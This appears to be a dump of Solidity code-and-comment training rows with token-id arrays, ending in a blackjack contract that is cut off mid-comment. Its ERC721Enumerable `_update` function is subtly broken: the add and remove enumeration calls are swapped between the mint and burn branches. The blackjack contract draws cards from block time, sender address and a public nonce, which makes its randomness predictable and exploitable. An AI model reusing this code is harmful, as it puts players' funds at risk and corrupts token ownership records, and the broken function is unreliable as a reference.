file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
./full_match/314/0x7b7f1f85F599b63432F5D782041c25Dad354f999/sources/node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
* @dev See {ERC721-_update}./
function _update(address to, uint256 tokenId, address auth) internal virtual override returns (address) { address previousOwner = super._update(to, tokenId, auth); if (previousOwner == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(previousOwner, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } return previousOwner; }
8,082,234
[ 1, 9704, 288, 654, 39, 27, 5340, 17, 67, 2725, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2725, 12, 2867, 358, 16, 2254, 5034, 1147, 548, 16, 1758, 1357, 13, 2713, 5024, 3849, 1135, 261, 2867, 13, 288, 203, 3639, 1758, 2416, 5541, 273, 2240, 6315, 2725, 12, 869, 16, 1147, 548, 16, 1357, 1769, 203, 203, 3639, 309, 261, 11515, 5541, 422, 1758, 12, 20, 3719, 288, 203, 5411, 389, 1289, 1345, 774, 1595, 5157, 21847, 12, 2316, 548, 1769, 203, 5411, 389, 4479, 1345, 1265, 5541, 21847, 12, 11515, 5541, 16, 1147, 548, 1769, 203, 3639, 289, 203, 3639, 309, 261, 869, 422, 1758, 12, 20, 3719, 288, 203, 5411, 389, 4479, 1345, 1265, 1595, 5157, 21847, 12, 2316, 548, 1769, 203, 5411, 389, 1289, 1345, 774, 5541, 21847, 12, 869, 16, 1147, 548, 1769, 203, 3639, 289, 203, 203, 3639, 327, 2416, 5541, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 /* * Copyright 2020, Offchain Labs, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.6.11; import "./L1ArbitrumExtendedGateway.sol"; import "@openzeppelin/contracts/utils/Create2.sol"; import "arb-bridge-eth/contracts/libraries/Whitelist.sol"; /** * @title Layer 1 Gateway contract for bridging standard ERC20s * @notice This contract handles token deposits, holds the escrowed tokens on layer 1, and (ultimately) finalizes withdrawals. * @dev Any ERC20 that requires non-standard functionality should use a separate gateway. * Messages to layer 2 use the inbox's createRetryableTicket method. */ contract L1ERC20Gateway is L1ArbitrumExtendedGateway { // used for create2 address calculation bytes32 public cloneableProxyHash; // We don't use the solidity creationCode as it breaks when upgrading contracts // keccak256(type(ClonableBeaconProxy).creationCode); address public l2BeaconProxyFactory; // whitelist not used anymore address public whitelist; // start of inline reentrancy guard // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.2/contracts/utils/ReentrancyGuard.sol uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; _status = _NOT_ENTERED; } // end of inline reentrancy guard function outboundTransfer( address _l1Token, address _to, uint256 _amount, uint256 _maxGas, uint256 _gasPriceBid, bytes calldata _data ) public payable override nonReentrant returns (bytes memory res) { return super.outboundTransfer(_l1Token, _to, _amount, _maxGas, _gasPriceBid, _data); } function finalizeInboundTransfer( address _token, address _from, address _to, uint256 _amount, bytes calldata _data ) public payable virtual override nonReentrant { // the superclass checks onlyCounterpartGateway super.finalizeInboundTransfer(_token, _from, _to, _amount, _data); } function initialize( address _l2Counterpart, address _router, address _inbox, bytes32 _cloneableProxyHash, address _l2BeaconProxyFactory ) public { L1ArbitrumExtendedGateway._initialize(_l2Counterpart, _router, _inbox); require(_cloneableProxyHash != bytes32(0), "INVALID_PROXYHASH"); require(_l2BeaconProxyFactory != address(0), "INVALID_BEACON"); cloneableProxyHash = _cloneableProxyHash; l2BeaconProxyFactory = _l2BeaconProxyFactory; // disable whitelist by default whitelist = address(0); // reentrancy guard _status = _NOT_ENTERED; } /** * @notice utility function used to perform external read-only calls. * @dev the result is returned even if the call failed or was directed at an EOA, * it is cheaper to have the L2 consumer identify and deal with this. * @return result bytes, even if the call failed. */ function callStatic(address targetContract, bytes4 targetFunction) internal view returns (bytes memory) { ( , /* bool success */ bytes memory res ) = targetContract.staticcall(abi.encodeWithSelector(targetFunction)); return res; } function getOutboundCalldata( address _token, address _from, address _to, uint256 _amount, bytes memory _data ) public view override returns (bytes memory outboundCalldata) { // TODO: cheaper to make static calls or save isDeployed to storage? bytes memory deployData = abi.encode( callStatic(_token, ERC20.name.selector), callStatic(_token, ERC20.symbol.selector), callStatic(_token, ERC20.decimals.selector) ); outboundCalldata = abi.encodeWithSelector( ITokenGateway.finalizeInboundTransfer.selector, _token, _from, _to, _amount, GatewayMessageHandler.encodeToL2GatewayMsg(deployData, _data) ); return outboundCalldata; } function calculateL2TokenAddress(address l1ERC20) public view override returns (address) { bytes32 salt = getSalt(l1ERC20); return Create2.computeAddress(salt, cloneableProxyHash, l2BeaconProxyFactory); } function getSalt(address l1ERC20) internal view returns (bytes32) { // TODO: use a library return keccak256(abi.encode(counterpartGateway, keccak256(abi.encode(l1ERC20)))); } }
TODO: cheaper to make static calls or save isDeployed to storage?
function getOutboundCalldata( address _token, address _from, address _to, uint256 _amount, bytes memory _data ) public view override returns (bytes memory outboundCalldata) { bytes memory deployData = abi.encode( callStatic(_token, ERC20.name.selector), callStatic(_token, ERC20.symbol.selector), callStatic(_token, ERC20.decimals.selector) ); outboundCalldata = abi.encodeWithSelector( ITokenGateway.finalizeInboundTransfer.selector, _token, _from, _to, _amount, GatewayMessageHandler.encodeToL2GatewayMsg(deployData, _data) ); return outboundCalldata; }
15,811,616
[ 1, 6241, 30, 19315, 7294, 358, 1221, 760, 4097, 578, 1923, 353, 31954, 358, 2502, 35, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 17873, 1477, 892, 12, 203, 3639, 1758, 389, 2316, 16, 203, 3639, 1758, 389, 2080, 16, 203, 3639, 1758, 389, 869, 16, 203, 3639, 2254, 5034, 389, 8949, 16, 203, 3639, 1731, 3778, 389, 892, 203, 565, 262, 1071, 1476, 3849, 1135, 261, 3890, 3778, 11663, 1477, 892, 13, 288, 203, 3639, 1731, 3778, 7286, 751, 273, 24126, 18, 3015, 12, 203, 5411, 745, 5788, 24899, 2316, 16, 4232, 39, 3462, 18, 529, 18, 9663, 3631, 203, 5411, 745, 5788, 24899, 2316, 16, 4232, 39, 3462, 18, 7175, 18, 9663, 3631, 203, 5411, 745, 5788, 24899, 2316, 16, 4232, 39, 3462, 18, 31734, 18, 9663, 13, 203, 3639, 11272, 203, 203, 3639, 11663, 1477, 892, 273, 24126, 18, 3015, 1190, 4320, 12, 203, 5411, 467, 1345, 5197, 18, 30343, 20571, 5912, 18, 9663, 16, 203, 5411, 389, 2316, 16, 203, 5411, 389, 2080, 16, 203, 5411, 389, 869, 16, 203, 5411, 389, 8949, 16, 203, 5411, 11381, 1079, 1503, 18, 3015, 774, 48, 22, 5197, 3332, 12, 12411, 751, 16, 389, 892, 13, 203, 3639, 11272, 203, 203, 3639, 327, 11663, 1477, 892, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; import "./base/ownership/Ownable.sol"; import "./base/token/ERC20.sol"; import "./base/token/WETH.sol"; import "./Collectable.sol"; import "./TransferProxy.sol"; import "./StakeContract.sol"; import "./PaymentRegistry.sol"; import "./KyberNetworkInterface.sol"; import "./ApprovedRegistry.sol"; /** @title Contains all the data required for a user's active subscription. */ /** @author Kerman Kohli - <kerman@8xprotocol.com> */ contract Executor is Ownable { TransferProxy public transferProxy; StakeContract public stakeContract; PaymentRegistry public paymentRegistry; KyberNetworkInterface public kyberProxy; ApprovedRegistry public approvedRegistry; uint public cancellationPeriod; event SubscriptionActivated( address indexed subscriptionAddress, bytes32 indexed subscriptionIdentifier, address indexed tokenAddress, uint dueDate, uint amount, uint fee ); event SubscriptionProcessed( address indexed subscriptionAddress, bytes32 indexed subscriptionIdentifier, address indexed claimant, uint dueDate, uint staked ); event SubscriptionReleased( address indexed subscriptionAddress, bytes32 indexed subscriptionIdentifier, address indexed releasedBy, uint dueDate ); event SubscriptionLatePaymentCaught( address indexed subscriptionAddress, bytes32 indexed subscriptionIdentifier, address indexed originalClaimant, address newClaimant, uint amountLost ); /** * PUBLIC FUNCTIONS */ /** @dev Set the addresses for the relevant contracts * @param _transferProxyAddress the address for the designated transfer proxy. * @param _stakeContractAddress the address for the stake contract. * @param _paymentRegistryAddress the address for the payment registry. * @param _kyberAddress the address for the kyber network contract. * @param _approvedRegistryAddress the address for the approved registry contract. */ constructor( address _transferProxyAddress, address _stakeContractAddress, address _paymentRegistryAddress, address _kyberAddress, address _approvedRegistryAddress ) public { // @TODO: Figure out how to add tests for this transferProxy = TransferProxy(_transferProxyAddress); stakeContract = StakeContract(_stakeContractAddress); paymentRegistry = PaymentRegistry(_paymentRegistryAddress); kyberProxy = KyberNetworkInterface(_kyberAddress); approvedRegistry = ApprovedRegistry(_approvedRegistryAddress); } /** @dev Set the amount of time after a payment a service node has to cancel. * @param _period is the amount of time they have. */ function setCancellationPeriod(uint _period) public onlyOwner { cancellationPeriod = _period; } /** @dev Active a subscription once it's been created (make the first payment) paid from wrapped Ether. * @param _subscriptionContract is the contract where the details exist(adheres to Collectible contract interface). * @param _subscriptionIdentifier is the identifier of that customer's subscription with its relevant details. */ function activateSubscription( address _subscriptionContract, bytes32 _subscriptionIdentifier ) public returns (bool success) { // Initiate an instance of the collectable subscription Collectable subscription = Collectable(_subscriptionContract); // Check if the subscription is valid require(approvedRegistry.isContractAuthorised(_subscriptionContract)); require(subscription.isValidSubscription(_subscriptionIdentifier) == false); // Get the detauls of the subscription ERC20 transactingToken = ERC20(subscription.getSubscriptionTokenAddress(_subscriptionIdentifier)); uint subscriptionInterval = subscription.getSubscriptionInterval(_subscriptionIdentifier); uint amountDue = subscription.getAmountDueFromSubscription(_subscriptionIdentifier); uint fee = subscription.getSubscriptionFee(_subscriptionIdentifier); (address consumer, address business) = subscription.getSubscriptionFromToAddresses(_subscriptionIdentifier); // Make the payment safely attemptPayment(transactingToken, consumer, business, amountDue); // Create a new record in the payments registry paymentRegistry.createNewPayment( _subscriptionIdentifier, // Subscription identifier address(transactingToken), // Token address currentTimestamp() + subscriptionInterval, // Next due date amountDue, // Amount due fee // Fee ); // Start the subscription subscription.setStartDate(currentTimestamp(), _subscriptionIdentifier); // Emit the appropriate event to show subscription has been activated emit SubscriptionActivated( _subscriptionContract, _subscriptionIdentifier, address(transactingToken), amountDue, currentTimestamp() + subscriptionInterval, fee ); } /** @dev Collect the payment due from the subscriber. * @param _subscriptionContract is the contract where the details exist(adheres to Collectible contract interface). * @param _subscriptionIdentifier is the identifier of that customer's subscription with its relevant details. */ function processSubscription( address _subscriptionContract, bytes32 _subscriptionIdentifier ) public { // Get the current payment registry object (if it doesn't exist execution will eventually fail) ( address tokenAddress, uint dueDate, uint amount, uint fee, uint lastPaymentDate, address claimant, uint executionPeriod, uint stakeMultiplier ) = paymentRegistry.getPaymentInformation(_subscriptionIdentifier); // Check to make sure the payment is due require(currentTimestamp() >= dueDate); // Check to make sure it hasn't been claimed by someone else or belongs to you require(claimant == msg.sender || claimant == 0); // Check it isn't too late to claim (past execution) or too late Collectable subscription = Collectable(_subscriptionContract); uint interval = subscription.getSubscriptionInterval(_subscriptionIdentifier); // @TODO: Implementation // Check that the service node calling has enough staked tokens uint currentMultiplier = currentMultiplierFor(tokenAddress); uint requiredStake = currentMultiplier * amount; if (stakeMultiplier == 0) { require(stakeContract.getAvailableStake(msg.sender, tokenAddress) >= requiredStake); } // Make payments to the business and service node if (attemptPaymentElseCancel( _subscriptionContract, _subscriptionIdentifier, tokenAddress, msg.sender, amount, fee, stakeMultiplier ) == false) { // We cancel the subscription if payment couldn't be made // Could be due to invalid subscription (cancelled) or insufficient funds return; } // If the current multiplier is lower than the one in the object, free the difference if (stakeMultiplier > currentMultiplierFor(tokenAddress)) { stakeContract.unlockTokens( msg.sender, tokenAddress, (stakeMultiplier - (requiredStake/amount)) * amount ); } else if (stakeMultiplier == 0) { stakeContract.lockTokens(msg.sender, tokenAddress, requiredStake); } // Update the payment registry paymentRegistry.claimPayment( _subscriptionIdentifier, // Identifier of subscription msg.sender, // The claimant dueDate + interval, // Next payment due date currentMultiplier // Current multiplier set for the currency ); // Emit the subscription processed event emit SubscriptionProcessed(_subscriptionContract, _subscriptionIdentifier, msg.sender, dueDate + interval, requiredStake); } /** @dev Release the payment/responsibility of a service node * @param _subscriptionContract is the contract where the details exist(adheres to Collectible contract interface). * @param _subscriptionIdentifier is the identifier of that customer's subscription with its relevant details. */ function releaseSubscription( address _subscriptionContract, bytes32 _subscriptionIdentifier ) public { // Get the payment registry informatio ( address tokenAddress, uint dueDate, uint amount, , uint lastPaymentDate, address claimant, uint executionPeriod, uint stakeMultiplier ) = paymentRegistry.getPaymentInformation(_subscriptionIdentifier); // Check that it belongs to the rightful claimant/service node // This also means we're not talking about a first time payment require(claimant == msg.sender); // Make sure we're within the cancellation window uint minimumDate = lastPaymentDate + executionPeriod; require( currentTimestamp() >= minimumDate && // Must be past last payment date and the execution period currentTimestamp() < (minimumDate + cancellationPeriod) // Can't be past the cancellation period ); // Call the remove claim on payments registry paymentRegistry.removeClaimant( _subscriptionIdentifier, msg.sender ); // Unstake tokens stakeContract.unlockTokens( msg.sender, tokenAddress, amount * stakeMultiplier ); // Emit the correct event emit SubscriptionReleased(_subscriptionContract, _subscriptionIdentifier, msg.sender, dueDate); } /** @dev Catch another service node who didn't process their payment on time. * @param _subscriptionContract is the contract where the details exist(adheres to Collectible contract interface). * @param _subscriptionIdentifier is the identifier of that customer's subscription with its relevant details. */ function catchLateSubscription( address _subscriptionContract, bytes32 _subscriptionIdentifier ) public { // Get the payment object ( address tokenAddress, uint dueDate, uint amount, , , address claimant, uint executionPeriod, uint stakeMultiplier ) = paymentRegistry.getPaymentInformation(_subscriptionIdentifier); // First make sure it's past the due date and execution period require(currentTimestamp() > (dueDate + executionPeriod)); // Ensure the original claimant can't call this function require(msg.sender != claimant); // Slash the tokens and give them to this caller = $$$ stakeContract.transferStake( claimant, tokenAddress, amount * stakeMultiplier, msg.sender ); // Remove as claimant paymentRegistry.removeClaimant( _subscriptionIdentifier, claimant ); // Call collect payment function as this caller processSubscription(_subscriptionContract, _subscriptionIdentifier); // Emit an event to say a late payment was caught and processed emit SubscriptionLatePaymentCaught( _subscriptionContract, _subscriptionIdentifier, claimant, msg.sender, amount * stakeMultiplier ); } // @TODO: Handle stale payments /** * INTERNAL FUNCTIONS */ /** @dev Current timestamp returned via a function in order for mocks in tests */ function currentTimestamp() internal view returns (uint timetstamp) { // solhint-disable-next-line return block.timestamp; } /** * PRIVATE FUNCTION */ function attemptPaymentElseCancel( address _subscriptionContract, bytes32 _subscriptionIdentifier, address _tokenAddress, address _serviceNode, uint _amount, uint _fee, uint _stakeMultiplier ) private returns (bool) { Collectable subscription = Collectable(_subscriptionContract); ERC20 transactingToken = ERC20(_tokenAddress); (address consumer, address business) = subscription.getSubscriptionFromToAddresses(_subscriptionIdentifier); bool validSubscription = subscription.isValidSubscription(_subscriptionIdentifier); if (transactingToken.balanceOf(consumer) >= _amount && validSubscription == true) { // Make the payments attemptPayment(transactingToken, consumer, business, _amount - _fee); attemptPayment(transactingToken, consumer, _serviceNode, _fee); return true; } else { // Terminate the subscription if it hasn't already if (validSubscription == true) { subscription.cancelSubscription(_subscriptionIdentifier); } // Refund the gas to the service node by freeing up storage paymentRegistry.deletePayment(_subscriptionIdentifier); // Unstake tokens stakeContract.unlockTokens( msg.sender, _tokenAddress, _amount * _stakeMultiplier ); return false; } } function attemptPayment( ERC20 _transactingToken, address _from, address _to, uint _amount ) private returns (bool) { // Get the businesses balance before the transaction uint balanceOfBusinessBeforeTransfer = _transactingToken.balanceOf(_to); // Check if the user has enough funds require(_transactingToken.balanceOf(_from) >= _amount); // Send currency to the destination business transferProxy.transferFrom(address(_transactingToken), _from, _to, _amount); // Check the business actually received the funds by checking the difference require((_transactingToken.balanceOf(_to) - balanceOfBusinessBeforeTransfer) == _amount); } function currentMultiplierFor(address _tokenAddress) public returns(uint) { return approvedRegistry.getMultiplierFor(_tokenAddress); } }
* PUBLIC FUNCTIONS/* @dev Set the addresses for the relevant contracts @param _transferProxyAddress the address for the designated transfer proxy. @param _stakeContractAddress the address for the stake contract. @param _paymentRegistryAddress the address for the payment registry. @param _kyberAddress the address for the kyber network contract. @param _approvedRegistryAddress the address for the approved registry contract./ @TODO: Figure out how to add tests for this
{ transferProxy = TransferProxy(_transferProxyAddress); stakeContract = StakeContract(_stakeContractAddress); paymentRegistry = PaymentRegistry(_paymentRegistryAddress); kyberProxy = KyberNetworkInterface(_kyberAddress); approvedRegistry = ApprovedRegistry(_approvedRegistryAddress); }
6,401,770
[ 1, 14939, 13690, 55, 19, 225, 1000, 326, 6138, 364, 326, 9368, 20092, 225, 389, 13866, 3886, 1887, 326, 1758, 364, 326, 25264, 7412, 2889, 18, 225, 389, 334, 911, 8924, 1887, 326, 1758, 364, 326, 384, 911, 6835, 18, 225, 389, 9261, 4243, 1887, 326, 1758, 364, 326, 5184, 4023, 18, 225, 389, 18465, 744, 1887, 326, 1758, 364, 326, 417, 93, 744, 2483, 6835, 18, 225, 389, 25990, 4243, 1887, 326, 1758, 364, 326, 20412, 4023, 6835, 18, 19, 632, 6241, 30, 18818, 596, 3661, 358, 527, 7434, 364, 333, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 203, 3639, 7412, 3886, 273, 12279, 3886, 24899, 13866, 3886, 1887, 1769, 203, 3639, 384, 911, 8924, 273, 934, 911, 8924, 24899, 334, 911, 8924, 1887, 1769, 203, 3639, 5184, 4243, 273, 12022, 4243, 24899, 9261, 4243, 1887, 1769, 203, 3639, 417, 93, 744, 3886, 273, 1475, 93, 744, 27413, 24899, 18465, 744, 1887, 1769, 203, 3639, 20412, 4243, 273, 1716, 685, 2155, 4243, 24899, 25990, 4243, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function withdrawAllEther() public onlyOwner { //to be executed on contract close _owner.transfer(this.balance); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract blackJack is Ownable { mapping (uint => uint) cardsPower; constructor() { cardsPower[0] = 11; // aces cardsPower[1] = 2; cardsPower[2] = 3; cardsPower[3] = 4; cardsPower[4] = 5; cardsPower[5] = 6; cardsPower[6] = 7; cardsPower[7] = 8; cardsPower[8] = 9; cardsPower[9] = 10; cardsPower[10] = 10; // j cardsPower[11] = 10; // q cardsPower[12] = 10; // k } uint minBet = 0.01 ether; uint maxBet = 0.1 ether; uint requiredHouseBankroll = 3 ether; //use math of maxBet * 300 uint autoWithdrawBuffer = 1 ether; // only automatically withdraw if requiredHouseBankroll is exceeded by this amount mapping (address => bool) public isActive; mapping (address => bool) public isPlayerActive; mapping (address => uint) public betAmount; mapping (address => uint) public gamestatus; //1 = Player Turn, 2 = Player Blackjack!, 3 = Dealer Blackjack!, 4 = Push, 5 = Game Finished. Bets resolved. mapping (address => uint) public payoutAmount; mapping (address => uint) dealTime; mapping (address => uint) blackJackHouseProhibited; mapping (address => uint[]) playerCards; mapping (address => uint[]) houseCards; mapping (address => bool) playerExists; //check whether the player has played before, if so, he must have a playerHand function card2PowerConverter(uint[] cards) internal view returns (uint) { //converts an array of cards to their actual power. 1 is 1 or 11 (Ace) uint powerMax = 0; uint aces = 0; //count number of aces uint power; for (uint i = 0; i < cards.length; i++) { power = cardsPower[(cards[i] + 13) % 13]; powerMax += power; if (power == 11) { aces += 1; } } if (powerMax > 21) { //remove 10 for each ace until under 21, if possible. for (uint i2=0; i2<aces; i2++) { powerMax-=10; if (powerMax <= 21) { break; } } } return uint(powerMax); } //PRNG / RANDOM NUMBER GENERATION. REPLACE THIS AS NEEDED WITH MORE EFFICIENT RNG uint randNonce = 0; function randgenNewHand() internal returns(uint,uint,uint) { //returns 3 numbers from 0-51. //If new hand, generate 3 cards. If not, generate just 1. randNonce++; uint a = uint(keccak256(abi.encodePacked(now, msg.sender, randNonce))) % 52; randNonce++; uint b = uint(keccak256(abi.encodePacked(now, msg.sender, randNonce))) % 52; randNonce++; uint c = uint(keccak256(abi.encodePacked(now, msg.sender, randNonce))) % 52; return (a,b,c); } function randgen() internal returns(uint) { //returns number from 0-51. //If new hand, generate 3 cards. If not, generate just 1. randNonce++; return uint(keccak256(abi.encodePacked(now, msg.sender, randNonce))) % 52; //range: 0-51 } modifier requireHandActive(bool truth) { require(isActive[msg.sender] == truth); _; } modifier requirePlayerActive(bool truth) { require(isPlayerActive[msg.sender] == truth); _; } function _play() public payable { //TEMP: Care, public.. ensure this is the public point of entry to play. Only allow 1 point of entry. //check whether or not player has played before if (playerExists[msg.sender]) { require(isActive[msg.sender] == false); } else { playerExists[msg.sender] = true; } require(msg.value >= minBet); //now check player has sent ether within betting requirements require(msg.value <= maxBet); //TODO Do unit testing to ensure ETH is not deducted if previous conditional fails //Now all checks have passed, the betting can proceed uint a; //generate 3 cards, 2 for player, 1 for the house uint b; uint c; (a,b,c) = randgenNewHand(); gamestatus[msg.sender] = 1; payoutAmount[msg.sender] = 0; isActive[msg.sender] = true; isPlayerActive[msg.sender] = true; betAmount[msg.sender] = msg.value; dealTime[msg.sender] = now; playerCards[msg.sender] = new uint[](0); playerCards[msg.sender].push(a); playerCards[msg.sender].push(b); houseCards[msg.sender] = new uint[](0); houseCards[msg.sender].push(c); isBlackjack(); withdrawToOwnerCheck(); //TODO UPDATE playerHand correctly and also commence play utilizing game logic //PLACEHOLDER FOR THE GAMBLING, DELEGATE TO OTHER FUNCTIONS SOME 